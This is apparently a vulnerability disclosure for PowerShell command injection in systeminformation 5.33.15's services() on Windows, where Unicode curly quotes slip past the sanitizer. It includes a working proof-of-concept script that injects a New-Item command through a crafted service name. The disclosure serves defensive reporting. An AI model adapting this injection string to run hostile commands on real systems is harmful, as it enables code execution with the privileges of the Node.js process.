systeminformation: Windows command injection in services() through Unicode quotation marks

Summary

On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.

This report confirms version 5.33.15. Other package versions have not been checked.

Details

In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().

The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.

For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.

Proof of concept

Run this on Windows in a disposable directory with Node.js and PowerShell available:

mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15

Save the following as poc.cjs, then run node poc.cjs:

'use strict';

const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');

(async () => {
  const markerName = `si-injection-${process.pid}.txt`;
  const markerPath = path.join(process.cwd(), markerName);
  fs.rmSync(markerPath, { force: true });

  try {
    await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
    console.log(`markerCreated=${fs.existsSync(markerPath)}`);
  } finally {
    fs.rmSync(markerPath, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected output:

markerCreated=true

The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.

Impact

An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.